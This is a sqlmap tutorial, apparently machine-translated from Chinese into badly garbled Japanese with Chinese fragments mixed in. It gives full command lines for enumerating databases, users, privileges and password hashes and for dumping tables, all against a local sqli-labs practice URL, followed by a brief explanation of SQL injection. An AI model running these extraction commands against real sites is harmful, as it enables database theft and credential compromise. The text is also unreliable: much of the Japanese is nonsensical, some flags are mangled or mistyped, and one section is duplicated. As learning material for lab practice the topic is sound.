Aは、DBMS情報を取得SQLMAP
-
情報のバナーを取得するためにバックエンドデータベース
参数 --banner或者-b
-
現在のデータベース名を取得します。
参数 --current-db
-
名前を取得します。
参数 --hostname
-
現在のユーザーがデータベース管理者であるかどうかを検出
参数 --is-dba
-
SQLMAPは、最初のリストのユーザーになり、その後、ユーザーのパスワードのハッシュ値を示しています。
参数 --passwords
-
すべてのユーザがDBMSを取得します
参数 --users
-
権利のSQLMAP列挙DBMS
参数:--privileges
-
現在のユーザーがデータベース管理システムの読み取り権限を持っているユーザーの権限が含まれるデータベース管理システムのシステムテーブルにユーザー情報が含まれている場合、この機能を使用します。ユーザーが管理者権限であるユーザーを判別することができます。
-
パラメータを使用する特定のユーザーのみに許可を列挙する「-U」は、ユーザを指定するには、現在のユーザーを表すために「CU」することができます。
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --privileges U root
-
二、SQLMAP列挙情報
-
データベース名のリスト
参数 --dbs
-
データベーステーブルの名前をリスト
参数: --tables -D 数据库名字 指定具体数据库 python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
-
SQLMAP列挙型データ表の列
参数 -- columns -T 表名字 指定具体表 python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -T users --columns
-
列挙されたデータ値をSQLMAP
参数 --dump python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -T users --columns --dump
-
SQLMAP列挙スキーマ情報
このオプションは、ユーザーリストモードのデータベース管理システムに利用可能です。モードリストは、すべて含まれているデータベース、テーブル、カラム、トリガ、およびそれぞれのタイプを。同様に、パラメータ** -除外-SYSDBS **は、システムのデータベースを除外する。
参数 --schema
-
-exclude-SYSDBS排除データベースシステム
三つは、データ表の数量を取得SQLMAP
-
あなたがテーブルのエントリ数を知りたい場合は、このパラメータを使用することができます
参数 --count python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --count -D security
-
データ情報へのアクセスqlmap
参数 --start --stop --start 1 --stop 3 返回当前数据库表的前三条记录 python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --count -D security --tables --start 1 --stop 3 --dump
-
情報へのアクセスを設定SQLMAP
参数 --where python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --count -D security -T users --where='id>2' --dump
四、SQLMAPブルートフォースデータ
-
ブルートテーブル
参数 --common-tables python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --common-tables 有些情况下用--tables不能列出数据库中表名来比如: 1.版本小于5.0的MySQL没有information_schema表 2.数据库用户权限过低无法读取表名
五、すべての情報を取得SQLMAP
-
すべての情報検索を返します。
参数 -a 或者--all python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -a
六、SQLインジェクションの原則
6.1はじめにSQLインジェクションへ
SQLインジェクションは、Webアプリケーションを参照するデータベースクエリにフロントアタッカー制御可能なパラメータとパラメータの後端を渡し、ユーザ入力データの正当性を判断しない、攻撃者は、データベースのいずれかを実装するために別のSQLステートメントを構築することができますオペレーティング
6.2 SQLインジェクションの脆弱性を生成する2つの条件を満たしている必要があります
- ユーザ制御可能なパラメータ
- データベースクエリパラメータに、パラメータは、SQL文のステッチに渡され、データベースクエリに
6.3 SQLインジェクションの危険性
- 機密情報のデータベースの開示
- ページが改ざんされています
- データベースは、悪意のあるです
- サーバーは、リモートコントロールで
6.4 SQLインジェクションの分類
-
注入位置は、二つのタイプにSQLデータ型注入することができます:数値と文字列
字符串注入 数字注入
-
注入位置は、二つのタイプにSQLデータ型注入することができます:数値と文字列
字符串注入 数字注入
理由6.5 SQLインジェクション
- データ及びコードの厳密な分離しません
- 十分なチェックとフィルタを行うことなく、ユーザによって提出されたパラメータデータは、データベースによって、正常に実行され、SQLコマンド、SQLコマンドは、元の「意味論」を変更させられます